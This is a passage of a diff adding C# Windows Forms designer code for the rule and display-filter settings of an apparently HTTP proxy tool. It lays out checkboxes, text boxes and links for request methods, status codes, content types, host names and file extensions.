this.ConfigRuleKeywordInRequestMinusRB.Enabled = false; + this.ConfigRuleKeywordInRequestMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleKeywordInRequestMinusRB.Location = new System.Drawing.Point(142, 28); + this.ConfigRuleKeywordInRequestMinusRB.Name = "ConfigRuleKeywordInRequestMinusRB"; + this.ConfigRuleKeywordInRequestMinusRB.Size = new System.Drawing.Size(31, 20); + this.ConfigRuleKeywordInRequestMinusRB.TabIndex = 58; + this.ConfigRuleKeywordInRequestMinusRB.TabStop = true; + this.ConfigRuleKeywordInRequestMinusRB.Text = "-"; + this.ConfigRuleKeywordInRequestMinusRB.UseVisualStyleBackColor = true; + // + // groupBox2 + // + this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox2.Controls.Add(this.ConfigRuleHostNamesCB); + this.groupBox2.Controls.Add(this.ConfigRuleHostNamesPlusTB); + this.groupBox2.Controls.Add(this.ConfigRuleHostNamesMinusTB); + this.groupBox2.Controls.Add(this.ConfigRuleHostNamesPlusRB); + this.groupBox2.Controls.Add(this.ConfigRuleHostNamesMinusRB); + this.groupBox2.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox2.Location = new System.Drawing.Point(2, 91); + this.groupBox2.Margin = new System.Windows.Forms.Padding(0); + this.groupBox2.Name = "groupBox2"; + this.groupBox2.Size = new System.Drawing.Size(868, 52); + this.groupBox2.TabIndex = 64; + this.groupBox2.TabStop = false; + // + // ConfigRuleHostNamesCB + // + this.ConfigRuleHostNamesCB.AutoSize = true; + this.ConfigRuleHostNamesCB.Location = new System.Drawing.Point(8, 20); + this.ConfigRuleHostNamesCB.Name = "ConfigRuleHostNamesCB"; + this.ConfigRuleHostNamesCB.Size = new System.Drawing.Size(84, 17); + this.ConfigRuleHostNamesCB.TabIndex = 59; + this.ConfigRuleHostNamesCB.Text = "HostNames:"; + this.ConfigRuleHostNamesCB.UseVisualStyleBackColor = true; + this.ConfigRuleHostNamesCB.CheckedChanged += new System.EventHandler(this.ConfigRuleHostNamesCB_CheckedChanged); + // + // ConfigRuleHostNamesPlusTB + // + this.ConfigRuleHostNamesPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleHostNamesPlusTB.Enabled = false; + this.ConfigRuleHostNamesPlusTB.Location = new System.Drawing.Point(160, 8); + this.ConfigRuleHostNamesPlusTB.Name = "ConfigRuleHostNamesPlusTB"; + this.ConfigRuleHostNamesPlusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigRuleHostNamesPlusTB.TabIndex = 51; + // + // ConfigRuleHostNamesMinusTB + // + this.ConfigRuleHostNamesMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleHostNamesMinusTB.Enabled = false; + this.ConfigRuleHostNamesMinusTB.Location = new System.Drawing.Point(160, 29); + this.ConfigRuleHostNamesMinusTB.Name = "ConfigRuleHostNamesMinusTB"; + this.ConfigRuleHostNamesMinusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigRuleHostNamesMinusTB.TabIndex = 52; + // + // ConfigRuleHostNamesPlusRB + // + this.ConfigRuleHostNamesPlusRB.AutoSize = true; + this.ConfigRuleHostNamesPlusRB.Enabled = false; + this.ConfigRuleHostNamesPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleHostNamesPlusRB.Location = new System.Drawing.Point(118, 9); + this.ConfigRuleHostNamesPlusRB.Name = "ConfigRuleHostNamesPlusRB"; + this.ConfigRuleHostNamesPlusRB.Size = new System.Drawing.Size(34, 20); + this.ConfigRuleHostNamesPlusRB.TabIndex = 57; + this.ConfigRuleHostNamesPlusRB.TabStop = true; + this.ConfigRuleHostNamesPlusRB.Text = "+"; + this.ConfigRuleHostNamesPlusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleHostNamesMinusRB + // + this.ConfigRuleHostNamesMinusRB.AutoSize = true; + this.ConfigRuleHostNamesMinusRB.Enabled = false; + this.ConfigRuleHostNamesMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleHostNamesMinusRB.Location = new System.Drawing.Point(118, 28); + this.ConfigRuleHostNamesMinusRB.Name = "ConfigRuleHostNamesMinusRB"; + this.ConfigRuleHostNamesMinusRB.Size = new System.Drawing.Size(31, 20); + this.ConfigRuleHostNamesMinusRB.TabIndex = 58; + this.ConfigRuleHostNamesMinusRB.TabStop = true; + this.ConfigRuleHostNamesMinusRB.Text = "-"; + this.ConfigRuleHostNamesMinusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleApplyChangesLL + // + this.ConfigRuleApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigRuleApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleApplyChangesLL.AutoSize = true; + this.ConfigRuleApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigRuleApplyChangesLL.Location = new System.Drawing.Point(670, 6); + this.ConfigRuleApplyChangesLL.Name = "ConfigRuleApplyChangesLL"; + this.ConfigRuleApplyChangesLL.Size = new System.Drawing.Size(91, 13); + this.ConfigRuleApplyChangesLL.TabIndex = 56; + this.ConfigRuleApplyChangesLL.TabStop = true; + this.ConfigRuleApplyChangesLL.Text = "Apply Changes"; + this.ConfigRuleApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigRuleApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRuleApplyChangesLL_LinkClicked); + // + // groupBox1 + // + this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsCB); + this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsPlusTB); + this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsMinusTB); + this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsPlusRB); + this.groupBox1.Controls.Add(this.ConfigRuleFileExtensionsMinusRB); + this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.Popup; + this.groupBox1.Location = new System.Drawing.Point(2, 39); + this.groupBox1.Margin = new System.Windows.Forms.Padding(0); + this.groupBox1.Name = "groupBox1"; + this.groupBox1.Size = new System.Drawing.Size(868, 52); + this.groupBox1.TabIndex = 63; + this.groupBox1.TabStop = false; + // + // ConfigRuleFileExtensionsCB + // + this.ConfigRuleFileExtensionsCB.AutoSize = true; + this.ConfigRuleFileExtensionsCB.Checked = true; + this.ConfigRuleFileExtensionsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleFileExtensionsCB.Location = new System.Drawing.Point(8, 20); + this.ConfigRuleFileExtensionsCB.Name = "ConfigRuleFileExtensionsCB"; + this.ConfigRuleFileExtensionsCB.Size = new System.Drawing.Size(99, 17); + this.ConfigRuleFileExtensionsCB.TabIndex = 59; + this.ConfigRuleFileExtensionsCB.Text = "File Extensions:"; + this.ConfigRuleFileExtensionsCB.UseVisualStyleBackColor = true; + this.ConfigRuleFileExtensionsCB.CheckedChanged += new System.EventHandler(this.ConfigRuleFileExtensionsCB_CheckedChanged); + // + // ConfigRuleFileExtensionsPlusTB + // + this.ConfigRuleFileExtensionsPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleFileExtensionsPlusTB.Location = new System.Drawing.Point(160, 8); + this.ConfigRuleFileExtensionsPlusTB.Name = "ConfigRuleFileExtensionsPlusTB"; + this.ConfigRuleFileExtensionsPlusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigRuleFileExtensionsPlusTB.TabIndex = 51; + // + // ConfigRuleFileExtensionsMinusTB + // + this.ConfigRuleFileExtensionsMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleFileExtensionsMinusTB.Location = new System.Drawing.Point(160, 29); + this.ConfigRuleFileExtensionsMinusTB.Name = "ConfigRuleFileExtensionsMinusTB"; + this.ConfigRuleFileExtensionsMinusTB.Size = new System.Drawing.Size(705, 20); + this.ConfigRuleFileExtensionsMinusTB.TabIndex = 52; + this.ConfigRuleFileExtensionsMinusTB.Text = "css,js,jpg,jpeg,png,gif,ico,swf,doc,docx,pdf,xls,xlsx,ppt,pptx"; + // + // ConfigRuleFileExtensionsPlusRB + // + this.ConfigRuleFileExtensionsPlusRB.AutoSize = true; + this.ConfigRuleFileExtensionsPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleFileExtensionsPlusRB.Location = new System.Drawing.Point(118, 9); + this.ConfigRuleFileExtensionsPlusRB.Name = "ConfigRuleFileExtensionsPlusRB"; + this.ConfigRuleFileExtensionsPlusRB.Size = new System.Drawing.Size(34, 20); + this.ConfigRuleFileExtensionsPlusRB.TabIndex = 57; + this.ConfigRuleFileExtensionsPlusRB.Text = "+"; + this.ConfigRuleFileExtensionsPlusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleFileExtensionsMinusRB + // + this.ConfigRuleFileExtensionsMinusRB.AutoSize = true; + this.ConfigRuleFileExtensionsMinusRB.Checked = true; + this.ConfigRuleFileExtensionsMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleFileExtensionsMinusRB.Location = new System.Drawing.Point(118, 28); + this.ConfigRuleFileExtensionsMinusRB.Name = "ConfigRuleFileExtensionsMinusRB"; + this.ConfigRuleFileExtensionsMinusRB.Size = new System.Drawing.Size(31, 20); + this.ConfigRuleFileExtensionsMinusRB.TabIndex = 58; + this.ConfigRuleFileExtensionsMinusRB.TabStop = true; + this.ConfigRuleFileExtensionsMinusRB.Text = "-"; + this.ConfigRuleFileExtensionsMinusRB.UseVisualStyleBackColor = true; + // + // ConfigRuleCancelChangesLL + // + this.ConfigRuleCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigRuleCancelChangesLL.AutoSize = true; + this.ConfigRuleCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigRuleCancelChangesLL.Location = new System.Drawing.Point(767, 5); + this.ConfigRuleCancelChangesLL.Name = "ConfigRuleCancelChangesLL"; + this.ConfigRuleCancelChangesLL.Size = new System.Drawing.Size(99, 13); + this.ConfigRuleCancelChangesLL.TabIndex = 55; + this.ConfigRuleCancelChangesLL.TabStop = true; + this.ConfigRuleCancelChangesLL.Text = "Cancel Changes"; + this.ConfigRuleCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigRuleCancelChangesLL_LinkClicked); + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(3, 23); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(89, 13); + this.label10.TabIndex = 9; + this.label10.Text = "Request Method:"; + // + // ConfigRuleContentCSSCB + // + this.ConfigRuleContentCSSCB.AutoSize = true; + this.ConfigRuleContentCSSCB.Location = new System.Drawing.Point(229, 244); + this.ConfigRuleContentCSSCB.Name = "ConfigRuleContentCSSCB"; + this.ConfigRuleContentCSSCB.Size = new System.Drawing.Size(47, 17); + this.ConfigRuleContentCSSCB.TabIndex = 0; + this.ConfigRuleContentCSSCB.Text = "CSS"; + this.ConfigRuleContentCSSCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode5xxCB + // + this.ConfigRuleCode5xxCB.AutoSize = true; + this.ConfigRuleCode5xxCB.Location = new System.Drawing.Point(481, 224); + this.ConfigRuleCode5xxCB.Name = "ConfigRuleCode5xxCB"; + this.ConfigRuleCode5xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigRuleCode5xxCB.TabIndex = 27; + this.ConfigRuleCode5xxCB.Text = "5xx"; + this.ConfigRuleCode5xxCB.UseVisualStyleBackColor = true; + // + // ConfigRuleContentJSCB + // + this.ConfigRuleContentJSCB.AutoSize = true; + this.ConfigRuleContentJSCB.Location = new System.Drawing.Point(185, 244); + this.ConfigRuleContentJSCB.Name = "ConfigRuleContentJSCB"; + this.ConfigRuleContentJSCB.Size = new System.Drawing.Size(38, 17); + this.ConfigRuleContentJSCB.TabIndex = 1; + this.ConfigRuleContentJSCB.Text = "JS"; + this.ConfigRuleContentJSCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode500CB + // + this.ConfigRuleCode500CB.AutoSize = true; + this.ConfigRuleCode500CB.Checked = true; + this.ConfigRuleCode500CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleCode500CB.Location = new System.Drawing.Point(431, 224); + this.ConfigRuleCode500CB.Name = "ConfigRuleCode500CB"; + this.ConfigRuleCode500CB.Size = new System.Drawing.Size(44, 17); + this.ConfigRuleCode500CB.TabIndex = 22; + this.ConfigRuleCode500CB.Text = "500"; + this.ConfigRuleCode500CB.UseVisualStyleBackColor = true; + // + // ConfigRuleContentImgCB + // + this.ConfigRuleContentImgCB.AutoSize = true; + this.ConfigRuleContentImgCB.Location = new System.Drawing.Point(471, 244); + this.ConfigRuleContentImgCB.Name = "ConfigRuleContentImgCB"; + this.ConfigRuleContentImgCB.Size = new System.Drawing.Size(60, 17); + this.ConfigRuleContentImgCB.TabIndex = 2; + this.ConfigRuleContentImgCB.Text = "Images"; + this.ConfigRuleContentImgCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode4xxCB + // + this.ConfigRuleCode4xxCB.AutoSize = true; + this.ConfigRuleCode4xxCB.Location = new System.Drawing.Point(383, 224); + this.ConfigRuleCode4xxCB.Name = "ConfigRuleCode4xxCB"; + this.ConfigRuleCode4xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigRuleCode4xxCB.TabIndex = 21; + this.ConfigRuleCode4xxCB.Text = "4xx"; + this.ConfigRuleCode4xxCB.UseVisualStyleBackColor = true; + // + // ConfigRuleContentOtherBinaryCB + // + this.ConfigRuleContentOtherBinaryCB.AutoSize = true; + this.ConfigRuleContentOtherBinaryCB.Location = new System.Drawing.Point(537, 244); + this.ConfigRuleContentOtherBinaryCB.Name = "ConfigRuleContentOtherBinaryCB"; + this.ConfigRuleContentOtherBinaryCB.Size = new System.Drawing.Size(84, 17); + this.ConfigRuleContentOtherBinaryCB.TabIndex = 3; + this.ConfigRuleContentOtherBinaryCB.Text = "Other Binary"; + this.ConfigRuleContentOtherBinaryCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode403CB + // + this.ConfigRuleCode403CB.AutoSize = true; + this.ConfigRuleCode403CB.Checked = true; + this.ConfigRuleCode403CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleCode403CB.Location = new System.Drawing.Point(333, 224); + this.ConfigRuleCode403CB.Name = "ConfigRuleCode403CB"; + this.ConfigRuleCode403CB.Size = new System.Drawing.Size(44, 17); + this.ConfigRuleCode403CB.TabIndex = 20; + this.ConfigRuleCode403CB.Text = "403"; + this.ConfigRuleCode403CB.UseVisualStyleBackColor = true; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(4, 244); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(125, 13); + this.label9.TabIndex = 7; + this.label9.Text = "Response Content Type:"; + // + // ConfigRuleCode3xxCB + // + this.ConfigRuleCode3xxCB.AutoSize = true; + this.ConfigRuleCode3xxCB.Location = new System.Drawing.Point(285, 224); + this.ConfigRuleCode3xxCB.Name = "ConfigRuleCode3xxCB"; + this.ConfigRuleCode3xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigRuleCode3xxCB.TabIndex = 19; + this.ConfigRuleCode3xxCB.Text = "3xx"; + this.ConfigRuleCode3xxCB.UseVisualStyleBackColor = true; + // + // ConfigRuleContentHTMLCB + // + this.ConfigRuleContentHTMLCB.AutoSize = true; + this.ConfigRuleContentHTMLCB.Checked = true; + this.ConfigRuleContentHTMLCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleContentHTMLCB.Location = new System.Drawing.Point(129, 244); + this.ConfigRuleContentHTMLCB.Name = "ConfigRuleContentHTMLCB"; + this.ConfigRuleContentHTMLCB.Size = new System.Drawing.Size(56, 17); + this.ConfigRuleContentHTMLCB.TabIndex = 8; + this.ConfigRuleContentHTMLCB.Text = "HTML"; + this.ConfigRuleContentHTMLCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode301_2CB + // + this.ConfigRuleCode301_2CB.AutoSize = true; + this.ConfigRuleCode301_2CB.Checked = true; + this.ConfigRuleCode301_2CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleCode301_2CB.Location = new System.Drawing.Point(226, 224); + this.ConfigRuleCode301_2CB.Name = "ConfigRuleCode301_2CB"; + this.ConfigRuleCode301_2CB.Size = new System.Drawing.Size(53, 17); + this.ConfigRuleCode301_2CB.TabIndex = 18; + this.ConfigRuleCode301_2CB.Text = "301-2"; + this.ConfigRuleCode301_2CB.UseVisualStyleBackColor = true; + // + // ConfigRuleGETMethodCB + // + this.ConfigRuleGETMethodCB.AutoSize = true; + this.ConfigRuleGETMethodCB.Checked = true; + this.ConfigRuleGETMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleGETMethodCB.Location = new System.Drawing.Point(99, 24); + this.ConfigRuleGETMethodCB.Name = "ConfigRuleGETMethodCB"; + this.ConfigRuleGETMethodCB.Size = new System.Drawing.Size(48, 17); + this.ConfigRuleGETMethodCB.TabIndex = 10; + this.ConfigRuleGETMethodCB.Text = "GET"; + this.ConfigRuleGETMethodCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode2xxCB + // + this.ConfigRuleCode2xxCB.AutoSize = true; + this.ConfigRuleCode2xxCB.Location = new System.Drawing.Point(178, 224); + this.ConfigRuleCode2xxCB.Name = "ConfigRuleCode2xxCB"; + this.ConfigRuleCode2xxCB.Size = new System.Drawing.Size(42, 17); + this.ConfigRuleCode2xxCB.TabIndex = 17; + this.ConfigRuleCode2xxCB.Text = "2xx"; + this.ConfigRuleCode2xxCB.UseVisualStyleBackColor = true; + // + // ConfigRulePOSTMethodCB + // + this.ConfigRulePOSTMethodCB.AutoSize = true; + this.ConfigRulePOSTMethodCB.Checked = true; + this.ConfigRulePOSTMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRulePOSTMethodCB.Location = new System.Drawing.Point(149, 24); + this.ConfigRulePOSTMethodCB.Name = "ConfigRulePOSTMethodCB"; + this.ConfigRulePOSTMethodCB.Size = new System.Drawing.Size(55, 17); + this.ConfigRulePOSTMethodCB.TabIndex = 11; + this.ConfigRulePOSTMethodCB.Text = "POST"; + this.ConfigRulePOSTMethodCB.UseVisualStyleBackColor = true; + // + // ConfigRuleCode200CB + // + this.ConfigRuleCode200CB.AutoSize = true; + this.ConfigRuleCode200CB.Checked = true; + this.ConfigRuleCode200CB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleCode200CB.Location = new System.Drawing.Point(129, 224); + this.ConfigRuleCode200CB.Name = "ConfigRuleCode200CB"; + this.ConfigRuleCode200CB.Size = new System.Drawing.Size(44, 17); + this.ConfigRuleCode200CB.TabIndex = 16; + this.ConfigRuleCode200CB.Text = "200"; + this.ConfigRuleCode200CB.UseVisualStyleBackColor = true; + // + // ConfigRuleOtherMethodsCB + // + this.ConfigRuleOtherMethodsCB.AutoSize = true; + this.ConfigRuleOtherMethodsCB.Checked = true; + this.ConfigRuleOtherMethodsCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleOtherMethodsCB.Location = new System.Drawing.Point(209, 24); + this.ConfigRuleOtherMethodsCB.Name = "ConfigRuleOtherMethodsCB"; + this.ConfigRuleOtherMethodsCB.Size = new System.Drawing.Size(52, 17); + this.ConfigRuleOtherMethodsCB.TabIndex = 12; + this.ConfigRuleOtherMethodsCB.Text = "Other"; + this.ConfigRuleOtherMethodsCB.UseVisualStyleBackColor = true; + // + // label13 + // + this.label13.AutoSize = true; + this.label13.Location = new System.Drawing.Point(4, 224); + this.label13.Name = "label13"; + this.label13.Size = new System.Drawing.Size(119, 13); + this.label13.TabIndex = 15; + this.label13.Text = "Response Status Code:"; + // + // ConfigRuleContentOtherTextCB + // + this.ConfigRuleContentOtherTextCB.AutoSize = true; + this.ConfigRuleContentOtherTextCB.Checked = true; + this.ConfigRuleContentOtherTextCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleContentOtherTextCB.Location = new System.Drawing.Point(389, 244); + this.ConfigRuleContentOtherTextCB.Name = "ConfigRuleContentOtherTextCB"; + this.ConfigRuleContentOtherTextCB.Size = new System.Drawing.Size(76, 17); + this.ConfigRuleContentOtherTextCB.TabIndex = 13; + this.ConfigRuleContentOtherTextCB.Text = "Other Text"; + this.ConfigRuleContentOtherTextCB.UseVisualStyleBackColor = true; + // + // ConfigRuleContentXMLCB + // + this.ConfigRuleContentXMLCB.AutoSize = true; + this.ConfigRuleContentXMLCB.Checked = true; + this.ConfigRuleContentXMLCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigRuleContentXMLCB.Location = new System.Drawing.Point(282, 244); + this.ConfigRuleContentXMLCB.Name = "ConfigRuleContentXMLCB"; + this.ConfigRuleContentXMLCB.Size = new System.Drawing.Size(48, 17); + this.ConfigRuleContentXMLCB.TabIndex = 14; + this.ConfigRuleContentXMLCB.Text = "XML"; + this.ConfigRuleContentXMLCB.UseVisualStyleBackColor = true; + // + // ConfigDisplayRulesTab + // + this.ConfigDisplayRulesTab.Controls.Add(this.label27); + this.ConfigDisplayRulesTab.Controls.Add(this.label26); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleApplyChangesLL); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCancelChangesLL); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentJSONCB); + this.ConfigDisplayRulesTab.Controls.Add(this.groupBox3); + this.ConfigDisplayRulesTab.Controls.Add(this.groupBox4); + this.ConfigDisplayRulesTab.Controls.Add(this.label20); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentCSSCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode5xxCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentJSCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode500CB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentImgCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode4xxCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentOtherBinaryCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode403CB); + this.ConfigDisplayRulesTab.Controls.Add(this.label21); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode3xxCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentHTMLCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode301_2CB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleGETMethodCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode2xxCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRulePOSTMethodCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleCode200CB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleOtherMethodsCB); + this.ConfigDisplayRulesTab.Controls.Add(this.label23); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentOtherTextCB); + this.ConfigDisplayRulesTab.Controls.Add(this.ConfigDisplayRuleContentXMLCB); + this.ConfigDisplayRulesTab.Location = new System.Drawing.Point(4, 22); + this.ConfigDisplayRulesTab.Name = "ConfigDisplayRulesTab"; + this.ConfigDisplayRulesTab.Size = new System.Drawing.Size(873, 0); + this.ConfigDisplayRulesTab.TabIndex = 5; + this.ConfigDisplayRulesTab.Text = "Proxy Traffic Display Rules"; + this.ConfigDisplayRulesTab.UseVisualStyleBackColor = true; + // + // label27 + // + this.label27.AutoSize = true; + this.label27.Location = new System.Drawing.Point(7, 165); + this.label27.Name = "label27"; + this.label27.Size = new System.Drawing.Size(88, 13); + this.label27.TabIndex = 95; + this.label27.Text = "Response Rules:"; + // + // label26 + // + this.label26.AutoSize = true; + this.label26.Location = new System.Drawing.Point(7, 9); + this.label26.Name = "label26"; + this.label26.Size = new System.Drawing.Size(80, 13); + this.label26.TabIndex = 94; + this.label26.Text = "Request Rules:"; + // + // ConfigDisplayRuleApplyChangesLL + // + this.ConfigDisplayRuleApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; + this.ConfigDisplayRuleApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDisplayRuleApplyChangesLL.AutoSize = true; + this.ConfigDisplayRuleApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigDisplayRuleApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; + this.ConfigDisplayRuleApplyChangesLL.Location = new System.Drawing.Point(664, 5); + this.ConfigDisplayRuleApplyChangesLL.Name = "ConfigDisplayRuleApplyChangesLL"; + this.ConfigDisplayRuleApplyChangesLL.Size = new System.Drawing.Size(91, 13); + this.ConfigDisplayRuleApplyChangesLL.TabIndex = 93; + this.ConfigDisplayRuleApplyChangesLL.TabStop = true; + this.ConfigDisplayRuleApplyChangesLL.Text = "Apply Changes"; + this.ConfigDisplayRuleApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; + this.ConfigDisplayRuleApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigDisplayRuleApplyChangesLL_LinkClicked); + // + // ConfigDisplayRuleCancelChangesLL + // + this.ConfigDisplayRuleCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConfigDisplayRuleCancelChangesLL.AutoSize = true; + this.ConfigDisplayRuleCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ConfigDisplayRuleCancelChangesLL.Location = new System.Drawing.Point(771, 5); + this.ConfigDisplayRuleCancelChangesLL.Name = "ConfigDisplayRuleCancelChangesLL"; + this.ConfigDisplayRuleCancelChangesLL.Size = new System.Drawing.Size(99, 13); + this.ConfigDisplayRuleCancelChangesLL.TabIndex = 92; + this.ConfigDisplayRuleCancelChangesLL.TabStop = true; + this.ConfigDisplayRuleCancelChangesLL.Text = "Cancel Changes"; + this.ConfigDisplayRuleCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigDisplayRuleCancelChangesLL_LinkClicked); + // + // ConfigDisplayRuleContentJSONCB + // + this.ConfigDisplayRuleContentJSONCB.AutoSize = true; + this.ConfigDisplayRuleContentJSONCB.Checked = true; + this.ConfigDisplayRuleContentJSONCB.CheckState = System.Windows.Forms.CheckState.Checked; + this.ConfigDisplayRuleContentJSONCB.Location = new System.Drawing.Point(332, 207); + this.ConfigDisplayRuleContentJSONCB.Name = "ConfigDisplayRuleContentJSONCB"; + this.ConfigDisplayRuleContentJSONCB.Size = new System.Drawing.Size(54, 17); + this.ConfigDisplayRuleContentJSONCB.TabIndex = 91; + this.ConfigDisplayRuleContentJSONCB.Text = "JSON"; + this.ConfigDisplayRuleContentJSONCB.UseVisualStyleBackColor = true; + // + // groupBox3 + // + this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | 